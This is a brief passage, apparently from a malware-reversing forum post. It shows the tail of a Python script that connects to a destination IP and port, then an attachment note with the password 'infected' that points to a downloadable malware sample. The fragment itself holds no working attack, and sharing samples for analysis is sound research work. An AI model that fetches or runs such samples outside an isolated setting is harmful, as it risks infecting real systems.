tmObj.set_value(argInterval)
tmObj.start()
if iMutex <= 0 or iMutex > 1:
sys.exit(0)
if bServer == 1:
ServerX(destIP, destPort)
monitor.close()
print_log(ltype.warning, 'Program is exit!\n')
Attachments
PW: infected
(3.07 MiB) Downloaded 18 times
(3.07 MiB) Downloaded 18 times
Malware Reversing
http://www.malware-reversing.com
http://www.malware-reversing.com